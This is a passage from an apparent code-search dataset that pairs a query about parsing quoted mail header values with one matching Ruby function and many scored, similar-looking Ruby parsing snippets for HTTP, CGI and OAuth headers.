"docid": "532df401cfc0e65483845186403db902",
"score": "0.6811923",
"text": "def index\n @games = Game.all\n end",
"title": ""
},
{
"docid": "532df401cfc0e65483845186403db902",
"score": "0.6811923",
"text": "def index\n @games = Game.all\n end",
"title": ""
},
{
"docid": "532df401cfc0e65483845186403db902",
"score": "0.6811923",
"text": "def index\n @games = Game.all\n end",
"title": ""
},
{
"docid": "532df401cfc0e65483845186403db902",
"score": "0.6811923",
"text": "def index\n @games = Game.all\n end",
"title": ""
},
{
"docid": "532df401cfc0e65483845186403db902",
"score": "0.6811923",
"text": "def index\n @games = Game.all\n end",
"title": ""
}
] |
6cf48ecdf04cd96b05ad4e5790d433ff | Parses the quoted header values: `=?...?=`. key String or Symbol header name Returns unquoted String. | [
{
"docid": "56c582a874c9c2511f4c74ac4e88c794",
"score": "0.6674981",
"text": "def unquoted_header(key)\n if header = @mail[key]\n value = header.respond_to?(:map) ?\n header.map { |h| h.value }.join(\"\\n\") :\n header.value\n Mail::Encodings.value_decode(value)\n else\n ''\n end\n end",
"title": ""
}
] | [
{
"docid": "ad6eea771f297194b914e07579ba2b94",
"score": "0.7126173",
"text": "def unquote_header(value)\n if value =~ QUOTED\n $1\n else\n value\n end\n end",
"title": ""
},
{
"docid": "8f4727ab96008fdbf6330eb09b401aff",
"score": "0.6786157",
"text": "def split_header_value(str)\n str.scan(/((?:\"(?:\\\\.|[^\"])+?\"|[^\",]+)+)\n (?:,\\s*|\\Z)/xn).collect{|v| v[0] }\nend",
"title": ""
},
{
"docid": "97b28b993704efd335a8b352c6d39d18",
"score": "0.67636555",
"text": "def parse!\n if /^(?<key>.*?):(?<value>.*)/m =~ @raw\n @key = key.strip\n @value = value.strip\n else\n raise \"Unable to parse Header: #{@raw}\"\n end\n end",
"title": ""
},
{
"docid": "2a5bf73d747ef8dabae923f7993de282",
"score": "0.64824855",
"text": "def parse_header_line(header_str)\n @headers = header_str.split(',')\n @headers.map! do |h|\n h.gsub!('\"','')\n h.strip!\n h.underscore.to_sym\n end\n @headers\n end",
"title": ""
},
{
"docid": "4f18f44355e57f7aa3856298d055ed88",
"score": "0.6429561",
"text": "def parse_header(raw)\n header = {}\n field = nil\n\n raw.each_line do |line|\n case line\n when /^([A-Za-z0-9!\\#$%&'*+\\-.^_`|~]+):\\s*(.*?)\\s*\\z/om\n field, value = $1, $2\n header[field] = value\n when /^\\s+(.*?)\\s*\\z/om\n value = $1\n fail \"bad header '#{line}'.\" unless field\n\n header[field][-1] << ' ' << value\n else\n fail \"bad header '#{line}'.\"\n end\n end\n\n header.each do |key, value|\n value.strip!\n value.gsub!(/\\s+/, ' ')\n end\n\n header\n end",
"title": ""
},
{
"docid": "1a3e8b6c0657f7af7cff2719d89e7800",
"score": "0.6296225",
"text": "def ensure_quoted_header(value)\n if value =~ QUOTED\n value\n else\n '\"' << value << '\"'\n end\n end",
"title": ""
},
{
"docid": "0c6ad87e7da61aaea14fa7140403f3d2",
"score": "0.6290861",
"text": "def cgi_parse_header(line)\n parts = _cgi_parseparam(';' + line)\n key = parts.next\n pdict = {}\n\n begin\n while p = parts.next\n i = p.index('=')\n if i\n name = p[0...i].strip.downcase\n value = p[i+1..-1].strip\n if value.length >= 2 && value[0] == '\"' && value[-1] == '\"'\n value = value[1...-1]\n value = value.gsub('\\\\\\\\', '\\\\').gsub('\\\\\"', '\"')\n end\n pdict[name] = value\n end\n end\n rescue StopIteration\n end\n\n [key, pdict]\n end",
"title": ""
},
{
"docid": "c1cffe26fa7d8959a51452aeeb8d0993",
"score": "0.6219681",
"text": "def parse_headers(raw_headers)\n headers = {}\n raw_headers.each do |h|\n if h =~ /^# *([a-zA-Z_]+) *:(.*)/\n h_key = $1.downcase.intern\n h_value = $2.split(\",\").collect { |v| v.strip }\n if h_value.length > 0 # ignore empty headers\n headers[h_key] = h_value.length > 1 ? h_value : h_value[0]\n end\n end\n end\n \n return headers\n end",
"title": ""
},
{
"docid": "0dd4c5417142caa314af4e816e33f8eb",
"score": "0.61976016",
"text": "def parse_headers raw_headers\n\t\theaders = Hash.new\n\n\t\t# Store values as hash, but don't include duplicate values\n\t\tremove_fws(raw_headers).map do |line|\n\t\t\tkey, value = line.split(\": \", 2)\n\t\t\theaders[key] ||= []\n\t\t\theaders[key] << value unless headers[key].include? value\n\t\tend\n\n\t\t# Pop value from array if there's only one value\n\t\theaders.each{ |key, value| headers[key] = value.pop if value.length == 1 }\n\tend",
"title": ""
},
{
"docid": "a2a9deeabd1f54f6f75479c1677997e1",
"score": "0.6195315",
"text": "def parse_header( data )\n k,v = data.split(\"\\0\", 2)\n return [k, v.delete(\"\\0\")]\n end",
"title": ""
},
{
"docid": "62e40a7c30d9ce8bb03489ce928bee3b",
"score": "0.6144892",
"text": "def get_headers\nheader_values = {}\n i = 1\n # while !params[:header][:type_.to_s + \"#{i}\"].nil?\n while !params[:header_values_.to_s + \"#{i}\"].nil?\n\t value = params[:header_values_.to_s + \"#{i}\"].map!{|i| CGI::unescape(i).gsub(\"\\\"\", \"'\")}\n \theader_values[params[:header][:type_.to_s + \"#{i}\"]] = value\n i += 1\n end\n header_values\nend",
"title": ""
},
{
"docid": "08a74b2e81dc207d55e8ba9f8db3bafd",
"score": "0.6036343",
"text": "def parse_header_lines\n if @parsed_values[\"\"].nil? || @parsed_values[\"\"][1].nil?\n @parsed_values[\"\"] = {}\n return\n end\n\n headers = {}\n # Heading lines may have escaped newlines in them\n @parsed_values[\"\"][1].split(/\\\\n/).each do |line|\n next if line.size == 0\n\n if line =~ /(.*?):(.*)/\n key, value = $1, $2\n if headers[key] && headers[key].size > 0\n @errors << [\"Duplicate header line: #{line}\"]\n elsif key =~ /#-#-#-#-#/\n @errors << [\"Marker in header line: #{line}\"]\n else\n headers[key] = value\n end\n else\n @errors << [\"Malformed header #{line}\"]\n end\n end\n\n @parsed_values[\"\"] = headers\n end",
"title": ""
},
{
"docid": "60061753ec851d935651d41f423f783d",
"score": "0.6010617",
"text": "def token_and_options(header)\n token = header.to_s.match(/^Token (.*)/) { |m| m[1] }\n if token\n begin\n values = Hash[token.split(\",\").map do |value|\n value.strip! # remove any spaces between commas and values\n key, value = value.split(/=\"?/) # split key=value pairs\n value.chomp!('\"') # chomp trailing \" in value\n value.gsub!(/\\\\\"/, '\"') # unescape remaining quotes\n [key, value]\n end]\n [values.delete(\"token\"), values]\n rescue StandardError => exception\n raise UnprocessableHeader, exception\n end\n else\n [nil, {}]\n end\n end",
"title": ""
},
{
"docid": "946e6985f4aaf71aade0d4b9595bc869",
"score": "0.5924174",
"text": "def _extract_headers(str)\n \n asa = str.split(AMP)\n @headers = {}\n esa = nil\n hv = nil\n asa.each do |hdr|\n esa = hdr.split(EQL)\n hname = SipperUtil.methodize(esa[0])\n if esa[1]\n \n if esa[1] =~ DQ\n hv = esa[1][1...-1]\n else\n hv = esa[1]\n end\n hv = CGI.unescape(hv)\n @headers[hname] = SipperUtil.find_parser_and_parse(hname, hv, true)\n end \n end \n end",
"title": ""
},
{
"docid": "d5e77318140a9658ac879750a07c1643",
"score": "0.5901003",
"text": "def parse_headers(headers_hash)\n header_string = \"\"\n for header in headers_hash.select { |k,v| k.match(\"^HTTP.*\") } do\n header_string += header[0]+\":\"+header[1]+\"|\"\n end\n return header_string\n end",
"title": ""
},
{
"docid": "73ed81ee39fb29a2b077693f140a1f02",
"score": "0.5873561",
"text": "def parse_for_header\n expect(:KW_FOR)\n expect(:L_PARANTH)\n header = parse_for_condition\n expect(:R_PARANTH)\n\n header\n end",
"title": ""
},
{
"docid": "bd7b858deb779100db48121f70f13afa",
"score": "0.58553016",
"text": "def parse_decl_line line\n result = {}\n until line.empty?\n # Peel a key off our line.\n line =~ /^(; )?(\\w+): / or raise \"Can't parse: #{line}\"\n key, line = $2, $POSTMATCH\n \n # Peel a value off our line.\n case line\n when /^([^;\"]+)/\n result[key], line = $1, $POSTMATCH\n when /^\"([^\"]*(\"\"[^\"]*)*)\"/\n str, line = $1, $POSTMATCH\n result[key] = str.gsub(/\"\"/, '\"')\n else\n raise \"Can't parse argument: #{line}\"\n end\n end\n result\n end",
"title": ""
},
{
"docid": "86a3c56a0e94296edb7e225030a19a4a",
"score": "0.5727592",
"text": "def parse_key_value_line(line)\n (key, value) = line.strip.split('=')\n key.strip! if key\n value.strip! if value\n [key, value]\n end",
"title": ""
},
{
"docid": "8013aa868ccf66dcf8180c9ab5cc9284",
"score": "0.5680332",
"text": "def parse_header(io)\n\t variable_name = nil\n\t parse_pairs io do |code, value|\n\t\tcase code\n\t\t when '0' then next\n\t\t when '9'\n\t\t\tvariable_name = value\n\t\t else\n\t\t\theader[variable_name] = value\n\t\tend\n\t end\n\tend",
"title": ""
},
{
"docid": "5e9f527052dfe593866e083be852e290",
"score": "0.5654294",
"text": "def parse_pair\n parse_string &&\n spaces &&\n must_see(\":\") &&\n spaces &&\n # We may have to fill in a rhs *null*.\n (parse_value || append('null'))\n end",
"title": ""
},
{
"docid": "41f13291c115f338a507b867b27f6262",
"score": "0.56455195",
"text": "def parse_header\n header.each do |field, value|\n self.instance_variable_set(\"@#{field}\", value) if HEADER_FIELDS.include? field\n end\n end",
"title": ""
},
{
"docid": "80fae84c3c520bbec1c7df9ecab1ff32",
"score": "0.5588944",
"text": "def separate_header(header)\n xsc, non_xsc, xsc_key = {}, \"\", nil\n\n header.split(\"\\n\").each do |line|\n if line =~ /^X-SC-([^:]+):(.*)/i\n xsc_key = $1.downcase\n xsc[xsc_key] = $2.to_s.strip\n\n elsif line =~ /^\\s/ && xsc_key\n xsc[xsc_key] += \" \" + line\n\n else\n xsc_key = nil\n non_xsc += line + \"\\n\"\n end\n end\n return [xsc, non_xsc]\n end",
"title": ""
},
{
"docid": "110ca6402d4b76e0f1409b8c3d579ef3",
"score": "0.5577651",
"text": "def hashify_header(hash, line)\n return nil if line.nil? || line.strip.empty?\n key, value = line.split(':')\n hash[convert_key(key)] = value.strip.chomp\n end",
"title": ""
},
{
"docid": "5bc2f9c15476fc05a5ff4c09dd43fc76",
"score": "0.5572652",
"text": "def separate_header(header)\n xsc, non_xsc, xsc_key = {}, \"\", nil\n\n header.split(\"\\n\").each do |line|\n if line =~ /^X-SC-([^:]+):(.*)/ni\n xsc_key = $1.downcase\n xsc[xsc_key] = $2.to_s.strip\n\n elsif line =~ /^\\s/ && xsc_key\n xsc[xsc_key] += \" \" + line\n\n else\n xsc_key = nil\n non_xsc += line + \"\\n\"\n end\n end\n return [xsc, non_xsc]\n end",
"title": ""
},
{
"docid": "e9aa8ee55fa2db9a2a6d76515f0f25c4",
"score": "0.5556858",
"text": "def decode_captured_headers(string)\n string.split('|', -1).map! { |header| unescape(header) }\n end",
"title": ""
},
{
"docid": "e9aa8ee55fa2db9a2a6d76515f0f25c4",
"score": "0.5556858",
"text": "def decode_captured_headers(string)\n string.split('|', -1).map! { |header| unescape(header) }\n end",
"title": ""
},
{
"docid": "f199929df0a4d1eeab9a88b16e93a6a7",
"score": "0.5529493",
"text": "def find_header(header)\n {}.tap do |returning|\n contents.scan(header_with_content_regexp(header)).flatten.first.split(\"\\n\").each do |setting|\n name, value = *setting.split('=').map(&:strip)\n returning[name] = value\n end\n end\n end",
"title": ""
},
{
"docid": "2e77a0597a1ec23c21b6bdcc94c0ca29",
"score": "0.55156654",
"text": "def split_key(key)\n return [key] if key.match(SPECIAL).nil?\n segments = key.split(/(\\s*\"[^\"]+\"\\s*|\\s*'[^']+'\\s*|[^'\".]+)/)\n if segments.empty?\n # Only happens if the original key was an empty string\n raise yield('Syntax error')\n elsif segments.shift == ''\n count = segments.size\n raise yield('Syntax error') unless count > 0\n\n segments.keep_if { |seg| seg != '.' }\n raise yield('Syntax error') unless segments.size * 2 == count + 1\n segments.map! do |segment|\n segment.strip!\n if segment.start_with?('\"', \"'\")\n segment[1..-2]\n elsif segment =~ /^(:?[+-]?[0-9]+)$/\n segment.to_i\n else\n segment\n end\n end\n else\n raise yield('Syntax error')\n end\n end",
"title": ""
},
{
"docid": "e328314c84817052eff06a0fe9698e2a",
"score": "0.55134654",
"text": "def calculate_key_(key_value, headers)\n # 4)\n key_list = key_value.split(',')\n\n # 5)\n key_list.map do |key_item|\n # 5-2)\n fname_index = key_item.index(';')\n raise FailingParameterProcessing if fname_index.nil?\n\n # 5-3)\n field_name = key_item[0...fname_index].gsub(/^\\s*(.+)\\s*$/){$1}\n\n # 5-4)\n # XXX Alternatively call below gsub to avoid ATS bug.\n field_value = headers[field_name].gsub(/^(.*)\\\"(.+)$/){$1 + '\"' + $2 + '\"'}\n field_value = '' if field_value.nil?\n\n # 5-5)\n parameters = key_item[fname_index+1..key_item.length].gsub(/^\\s*(.+)\\s*$/){$1}\n\n # 5-6)\n param_list = parameters.split(/(?!\");(?!\")/)\n\n # 5-7)\n param_list.map do |parameter|\n pair = parameter.gsub(/^\\s*(.+)\\s*$/){$1}.split('=')\n next if pair.length != 2\n param_name = pair[0].downcase\n # param_value = pair[1].gsub(/^\\\"(.+)\\\"$/){$1}\n # XXX Alternatively call below gsub to avoid ATS bug.\n param_value = pair[1].gsub(/^\\\"(.+)$/){$1}\n\n calculate_keyparam_(param_name, param_value, field_value)\n end.join(\"\\000\")\n end.join(\"\\000\")\n end",
"title": ""
},
{
"docid": "44ac36329cc9939af94b382c559e17c4",
"score": "0.5509323",
"text": "def parse_headers\n headers = {}\n @request.lines[1..-1].each do |line|\n # puts line.inspect\n # puts line.split.inspect\n return headers if line == \"\\r\\n\" # Because HTTP header's last line will be /r/n we return bc we're done\n header, value = line.split\n header = normalize(header)\n headers[header] = value\n end\n \n return headers\n end",
"title": ""
},
{
"docid": "a9a73f9af65410e9a89e14c0d2cec1dc",
"score": "0.5490601",
"text": "def unquoted_address_header(key)\n if header = @mail[key]\n emails = if header.respond_to?(:value)\n [header.value]\n else\n header.map { |h| h.value }\n end\n address_list_for(emails)\n else\n []\n end\n end",
"title": ""
},
{
"docid": "bc2922411536d53432e8b4f81e7b2871",
"score": "0.5480163",
"text": "def header_to_hash data\n header = {}\n data = data.split(@opts[:delimiter])\n self.req[\"Verb\"], self.req[\"Url\"], self.req[\"Version\"] = data.shift.split(\" \", 3)\n data.each do |line|\n k,v = line.split(\":\", 2)\n if !@opts[:header_bl] || !(HEADER_BLACKLIST.include? k)\n header[k] = v.lstrip\n end\n end\n header\n end",
"title": ""
},
{
"docid": "3f6b91051c03045cd8af92d7d0cf8d01",
"score": "0.5460243",
"text": "def read_header_file_name\n std = nil\n if !buffer_empty?\n return nil, std\n end\n\n skip_space!\n p = get_pos(0)\n if next?('\"')\n std = false\n close = '\"'\n elsif next?('<')\n std = true\n close = '>'\n else\n return nil, std\n end\n b = \"\"\n while !next?(close)\n c = readc\n if c.nil? || c == '\\n'\n raise \"#{p}: premature end of header name\"\n # errorp(p, \"premature end of header name\");\n end\n b << c\n end\n if b.size == 0\n raise \"#{p}: header name should not be empty\"\n # errorp(p, \"header name should not be empty\");\n end\n\n return b, std\n end",
"title": ""
},
{
"docid": "6ea2afbca694cea818af95fe2e60fff4",
"score": "0.5455014",
"text": "def parse_smart_quotes; end",
"title": ""
},
{
"docid": "c7993042fe97ab1ffb9e54552b3acabf",
"score": "0.5453336",
"text": "def val_for key\n split(\"\\n\").grep(\n key.is_a?(Regexp) ? key : /(^|^[^\\w]*\\s+)#{Regexp.escape(key)}\\b/\n ).map {|l|\n l.sub(/^[^\\w]*\\s+/, '').\n sub(key.is_a?(Regexp) ? key : /^#{Regexp.escape(key)}\\b\\s*[:=]?/, '').\n sub(/[;,]\\s*$/, '').\n strip\n }.first || ''\n end",
"title": ""
},
{
"docid": "7f9041bceebd2e556c841dfb443354ac",
"score": "0.5432058",
"text": "def parse_header_contents; end",
"title": ""
},
{
"docid": "05c4c9ea81de3bb9418061060db26bef",
"score": "0.5430715",
"text": "def test_parse_auth_header_with_spacing\n header = 'Digest qop=\"auth\", realm=\"'+ @realm +'\", nonce=\"'+ @nonce +'\", opaque=\"\", stale=\"false\", domain=\"\\my\\test\\domain\"'\n check_header(header)\n end",
"title": ""
},
{
"docid": "b575dce8e27ae0aa1c53f2b95fc4ced0",
"score": "0.5430079",
"text": "def parse_key(key)\n if key.include?(\"]\")\n key = key.split(/\\]\\[|\\]|\\[/)\n else\n key\n end\n\n key\n end",
"title": ""
},
{
"docid": "98064f9917b85c797b890122b6b42132",
"score": "0.5426008",
"text": "def parse_key(key)\n end",
"title": ""
},
{
"docid": "576828255f6397f3515a7285497da5e7",
"score": "0.5425887",
"text": "def from_string(header) # rubocop:disable Metrics/CyclomaticComplexity:\n return DEFAULT if header.nil? || header.empty?\n\n hash = header.split(',').each_with_object({}) do |member, memo|\n member.strip!\n kv = member.split('=')\n k, v = *kv\n next unless kv.length == 2 && VALID_KEY.match?(k) && VALID_VALUE.match?(v)\n\n memo[k] = v\n end\n return DEFAULT if hash.empty?\n\n new(hash)\n end",
"title": ""
},
{
"docid": "b8979469eb1dc2296653b9c31a8aeceb",
"score": "0.54207504",
"text": "def parse_key(key)\n keys = key.scan(/\\w+\\b/)\n #.split(/[\\[\\]]/).reject { |key| key == \"\"}\n end",
"title": ""
},
{
"docid": "53a3cb5c5cf044544200172298b9f0f9",
"score": "0.5407532",
"text": "def split_header_string(header_string)\n range_spec, *params = header_string.split(';')\n [range_spec.strip, params.map { |s| s.strip }]\n end",
"title": ""
},
{
"docid": "8fd365c9bb1676d6b50329c0c336161b",
"score": "0.5385972",
"text": "def parse_oauth_headers\n # Pull headers and return blank hash if no header variables found\n headers = env['AUTHORIZATION']; result = {};\n return result unless headers && headers[0,5] == 'OAuth'\n # Headers found. Go ahead and match 'em\n headers.split(/,\\n*\\r*/).each do |param|\n phrase, key, value = param.match(/([A-Za-z0-9_\\s]+)=\"([^\"]+)\"/).to_a.map{|v| v.strip}\n result[(key[\"OAuth\"])? :realm : key.to_sym] = value\n end\n result\n end",
"title": ""
},
{
"docid": "905bd203d1199a505da90e125e9a3476",
"score": "0.5367919",
"text": "def parseHeaders(request) \n headers = {};\n\n # Loop through headers\n request.lines[1..-1].each do |line|\n # If we are moving to the next line, return what we currently have\n return headers if line == \"\\r\\n\"\n\n # Structure data\n header, value = line.split\n header = header.gsub(\":\", \"\").downcase.to_sym\n headers[header] = value\n end\nend",
"title": ""
},
{
"docid": "ade4023e409d6a0d8e7febf427e4a1cf",
"score": "0.5364976",
"text": "def from_s(header)\n reset\n\n # ghettoooooo!\n # If we don't have any newlines..., put one there.\n if (header.size > 0 && header !~ /\\r\\n/)\n header << \"\\r\\n\"\n end\n\n # put the non-standard line terminations back to normal\n # gah. not having look behinds suck,\n header.gsub!(/([^\\r])\\n/n,'\\1' + \"\\r\\n\")\n\n # undo folding, kinda ugly but works for now.\n header.gsub!(/:\\s*\\r\\n\\s+/smni,': ')\n\n # Extract the command string\n self.cmd_string = header.slice!(/.+\\r\\n/)\n\n # Extract each header value pair\n header.split(/\\r\\n/mn).each { |str|\n if (md = str.match(/^(.+?)\\s*:\\s*(.+?)\\s*$/))\n if (self[md[1]])\n self[md[1]] << \", \" + md[2]\n else\n self[md[1]] = md[2]\n end\n end\n }\n end",
"title": ""
},
{
"docid": "174f42fb5c07f87f924b0991578308bd",
"score": "0.53603673",
"text": "def header_value\n @pairs.fetch(\"value\")\n end",
"title": ""
},
{
"docid": "c46c8f8bcbe014e7915ecff3f6284139",
"score": "0.5356992",
"text": "def extract_value(file)\n value = ''\n open = { \"'\" => false, '\"' => false }\n equal = false\n\n while (c = file.getc)\n case c\n when \"'\", '\"'\n break if open[c]\n open_keys = open.keys\n open_keys.delete(c)\n if open[open_keys.first]\n value += c\n else\n open[c] = true\n end\n else\n if open.values.any?\n value += c\n elsif c == '='\n equal = true\n elsif ['>', ' '].include?(c)\n file.ungetc(c)\n break\n elsif equal\n value += c\n end\n end\n end\n value\n end",
"title": ""
},
{
"docid": "9b5968b0cf05d0715e44b9e8b876ad91",
"score": "0.5349617",
"text": "def parse_setext_header; end",
"title": ""
},
{
"docid": "48a9a048fc12d6b21ceeeca1469c3eb1",
"score": "0.53456295",
"text": "def header(nheaders,hname)\n\t\t\tnheaders.each_line do |lh|\n\t\t\t\tn,v = lh.split(\": \")\n\t\t\t\tif n == hname\n\t\t\t\t\treturn v\n\t\t\t\tend\n\t\t\tend\n\t\t\treturn hstr\n\t\tend",
"title": ""
},
{
"docid": "063b62c666e9cfcdc8d65e56f1ca2bca",
"score": "0.5325349",
"text": "def sanitize_header(header, value)\n value\n end",
"title": ""
},
{
"docid": "8e716e32f37bb514d1608c411cd2a690",
"score": "0.5315676",
"text": "def parse_key(keys)\n keys.tr(\"^a-zA-Z0-9 \", \" \").squeeze(\" \").strip.split(\" \")\n end",
"title": ""
},
{
"docid": "aafadb264696ef948cdcfc1746b9e6c8",
"score": "0.53095937",
"text": "def parse(body)\n return {} if body.blank?\n\n body.split('&').inject({}) do |memo, chunk|\n next if chunk.empty?\n key, value = chunk.split('=', 2)\n next if key.empty?\n value = value.nil? ? nil : CGI.unescape(value)\n memo[CGI.unescape(key)] = value\n memo\n end.stringify_keys\n end",
"title": ""
},
{
"docid": "cabdc5bf495c66000c41e5c64fb4d45b",
"score": "0.5294023",
"text": "def value\n @header.input.value.to_s.strip\n end",
"title": ""
},
{
"docid": "f707b9fe27a00040daf86939865489cf",
"score": "0.5270853",
"text": "def match_header(key)\n @env[key.upcase.tr(\"-\",\"_\")]\n end",
"title": ""
},
{
"docid": "cd2eb5ddfe70e7ebfd32fc499239e0b9",
"score": "0.5262543",
"text": "def parse_value(s)\n s[0] == '\"' ? s[1...-1].gsub(/\\\\(.)/, \"\\\\1\") : s\n end",
"title": ""
},
{
"docid": "ec84329630840af1421a8238f8f58841",
"score": "0.52623695",
"text": "def extract_multi_value_field(header, val, processed, key = nil)\n key ||= header.to_sym\n processed[key] ||= []\n val = val.strip\n # Workaround for https://jira.duraspace.org/browse/FCREPO-2038\n val.delete!(\"\\r\")\n processed[key] << (looks_like_uri?(val) && Image.controlled_properties.include?(header.to_sym) ? RDF::URI(val) : val)\n end",
"title": ""
},
{
"docid": "60d120b1893de6fdae541c1956d7f8d6",
"score": "0.5244374",
"text": "def parse_key(key)\n array = key.split(\"[\")\n array.map do |i| \n if i.include?(\"]\") \n i.chop\n else\n i\n end\n end\n end",
"title": ""
},
{
"docid": "325aa0a0b86132a87f53312dd80cead4",
"score": "0.5235102",
"text": "def parse_kv(str)\n str.split(' ').map{|attr|\n k, v = attr.split('=')\n if v.start_with?('\"') && v.end_with?('\"')\n v = v.gsub(/^\"/, '').gsub(/\"$/, '').gsub('\\\"', '\"')\n elsif v =~ /^\\d+$/\n v = v.to_i\n elsif v =~ /^\\d+\\.\\d+$/\n v = v.to_f\n else\n raise \"invalid value as kv: #{v}\"\n end\n [k, v]\n }.to_h\n end",
"title": ""
},
{
"docid": "6b6d3b79075fec6d2efabf78d379b050",
"score": "0.523314",
"text": "def xe_get_params(cmd)\n h = Hash.new\n invalid_keys = %w/last-boot-record \n other-config other \n software-version \n other\n platform\n cpu_info \n license-server \n recommendations /\n\n xe_open(cmd).each do |line|\n if line.match(/\\s(.*)\\s\\(.*\\):\\s(.*)/)\n k = $1.strip\n v = $2.strip\n k.gsub!(/{|}|<|>|\\[|\\]|(|)|'|\"/,'')\n next if invalid_keys.include?(k)\n k.strip!\n v.gsub!(/<|>|\\[|\\]|(|)|\\'|\\\"/,'')\n v=v.split(/;/) if v.match(/;/)\n v.to_s.each_line do |j|\n j.strip!\n if j.match(/([^:]*):(.*)/)\n # we have values that may be foo:bar that we need to sepparate into more k/v\n k2 = $1.strip\n\t next if invalid_keys.include?(k2)\n v2 = $2\n v2.strip!\n h.merge!({ k => { k2 => v2 }})\n else \n h[k] = v\n end\n end\n\n h.rehash\n end\n end\n return h\nend",
"title": ""
},
{
"docid": "0fde4dd93ee017adda173a01f16f57e8",
"score": "0.5231989",
"text": "def parse_header(line)\n if (match = line.match(/^(.+?):\\s*(.+)#{@nl}$/))\n key = match[1].downcase\n set_header_special_values(key, match[2])\n parse_normal_header(line, key, match[1], match[2])\n elsif (match = line.match(/^HTTP\\/([\\d\\.]+)\\s+(\\d+)\\s+(.+)$/))\n @response.code = match[2]\n @response.http_version = match[1]\n @http2.on_content_call(@args, line)\n else\n raise \"Could not understand header string: '#{line}'.\"\n end\n end",
"title": ""
},
{
"docid": "d49109592c5417de46cc62d608ef476f",
"score": "0.5231884",
"text": "def parse_value_of(key)\n text = parse_pair('E23_11', 'E23_09')[key]\n #puts \"parse pair: '#{text.inspect}' #{(text.nil? || text.blank?) ? 'BLANK' : ''}\"\n text = ' ' if text.nil? || text.strip.blank?\n text\n end",
"title": ""
},
{
"docid": "d9bc6062825f954a5ce7dc73b23b0fa0",
"score": "0.5227181",
"text": "def translate_header_to_sym(key)\n return key if Symbol === key\n translate_header_name(key)\n end",
"title": ""
},
{
"docid": "8e429e5002bbb8333df100244b981479",
"score": "0.5223939",
"text": "def header_pairs headers\n header_pairs = []\n headers.each do |header|\n header_pairs.append \"#{header[:name]}=#{header[:value]}\"\n end\n header_pairs.join \",\"\nend",
"title": ""
},
{
"docid": "371666699a927ebe4a6d619fb8492850",
"score": "0.52213544",
"text": "def parse_string_query(query)\n query.scan(/(\\([^\\)]+\\)|\\[[^\\]]+\\]|'[^']+'|[^\\s]+)/)\n .flatten\n .map { |keys| { multi: /\\*\\*/ === keys[0..1],\n neg: /[\\[\\*]/ === keys[0],\n keys: keys.scan(/[\\w\\d\\s\\-\\_\\.]+/) }}\n end",
"title": ""
},
{
"docid": "e4cff3edb2dcb54d4a91bfe843c3c2f7",
"score": "0.52196497",
"text": "def parse_header_contents\n text = @src[\"contents\"]\n text.rstrip!\n id_match = HEADER_ID.match(text)\n if id_match\n id = id_match[\"id\"]\n text = text[0...-id_match[0].length]\n text.rstrip!\n end\n [text, id]\n end",
"title": ""
},
{
"docid": "85920cfd43fc3a7efb6844817aa44cab",
"score": "0.5208381",
"text": "def parse_key(key)\n key.split(\"[\").each {|string| string.gsub!(\"]\",\"\")}\n end",
"title": ""
},
{
"docid": "bce24007c96decb8c0d489b96e6cf90e",
"score": "0.5205729",
"text": "def cgi_parse_header(line); end",
"title": ""
},
{
"docid": "2ae2a05ad499bdc833c313dbcaa8a444",
"score": "0.52018166",
"text": "def parse_query\n return nil if @query.nil?\n\n key, value = @query.split('=')\n return { key: key, value: value }\n end",
"title": ""
},
{
"docid": "9f611739c8503f316ae8e37fde9cc985",
"score": "0.52009696",
"text": "def split_and_parse_key(key)\n key.split(/(?<!\\\\)\\./).reject(&:empty?).map do |key_part|\n case key_part\n when /^\\.\\$/ # For keys in the form of .$key\n key_part.gsub(/^\\./, '')\n when /\\A[-+]?[0-9]+\\z/\n key_part.to_i\n else\n key_part.gsub('\\\\', '')\n end\n end.reject { |k| k == '$body' }\n end",
"title": ""
},
{
"docid": "56e9c3511f405d428823c087e25efae0",
"score": "0.5181567",
"text": "def parse_key(key)\n key.split(/\\]\\[|\\[|\\]/).map(&:to_sym)\n end",
"title": ""
},
{
"docid": "72b21559ca47adc9e34f7b26425d14ae",
"score": "0.51770574",
"text": "def parse_key(key)\n key.gsub(/(\\[|\\])/, \" \").split(/\\s+/)\n end",
"title": ""
},
{
"docid": "b1eeed2cefa4bb39c77b7a3c0b0deb33",
"score": "0.51555765",
"text": "def parse_key(key)\n # key.scan(/[a-z]/)\n key.scan(/[^\\[\\]]+/)\n end",
"title": ""
},
{
"docid": "f0bce463e81494700c13cdaa6f97a269",
"score": "0.51494807",
"text": "def header name\n headers.each_pair do |header_name, header_value|\n if header_name.downcase == name.to_s.downcase\n return header_value.is_a?(Array) ? header_value.first : header_value\n end\n end\n nil\n end",
"title": ""
},
{
"docid": "54de5c4604a3293e6a4f609a6f28f514",
"score": "0.51339215",
"text": "def parse_line(line)\n line.gsub(/;.*$/, \"\").strip.scan(/\"[^\"]*\"|[.:]?\\w+|-?\\d+/).map { |e|\n if e[0] == '\"'\n e[1..-2]\n else\n e\n end\n }\nend",
"title": ""
},
{
"docid": "15ce67298eaab0e961ceb6a77ca97035",
"score": "0.51285034",
"text": "def parse_header(line)\n case line\n when /^#%checkm/\n match = /^#%checkm_(\\d+)\\.(\\d+)/.match line\n @version = \"#{match[1]}.#{match[2]}\" if match\n when /^#%eof/\n @eof = true\n when /^#%fields/\n list = line.split('|')\n list.shift\n @fields = list.map { |v| v.strip.downcase }\n when /^#%prefix/, /^#%profile/\n # do nothing\n end\n end",
"title": ""
},
{
"docid": "9bbca8d7bd9b911f9a1af62e9103a898",
"score": "0.5121475",
"text": "def austal_param(key)\n value = nil\n File.foreach(@austal_txt) do |line|\n array = line.split\n value = array.last.tr('\"','') if array.first==key\n break if value\n end\n value\n end",
"title": ""
},
{
"docid": "19a9f5ea3a1d92ca8692c9c5b85950c1",
"score": "0.5119376",
"text": "def parse_value\n trace = @lexer.trace\n quote = false\n\n if @lexer.get and @lexer.get.type == :quote\n quote = @lexer.get.value\n @lexer.next!\n end\n \n value = parse_text quote\n return terminate trace if not value\n\n if quote\n return terminate trace if not @lexer.get or @lexer.get.type != :quote or\n @lexer.get.value != quote\n @lexer.next!\n end\n\n value\n end",
"title": ""
},
{
"docid": "c1440878259fb30daa1ff45ea347b5e2",
"score": "0.5118467",
"text": "def parse(source, separator)\n source.map { |pair|\n raw_key, key = pair.split(separator, 2)\n key = raw_key if key.nil? || key == ''\n\n [raw_key, key]\n }\n end",
"title": ""
},
{
"docid": "bf31c1742c7cfecb97159f1a03a6e7f8",
"score": "0.5111938",
"text": "def parse(v)\n row[v].strip rescue nil\n end",
"title": ""
},
{
"docid": "e537526d0372d8b69dd327924e5ff5a4",
"score": "0.5111726",
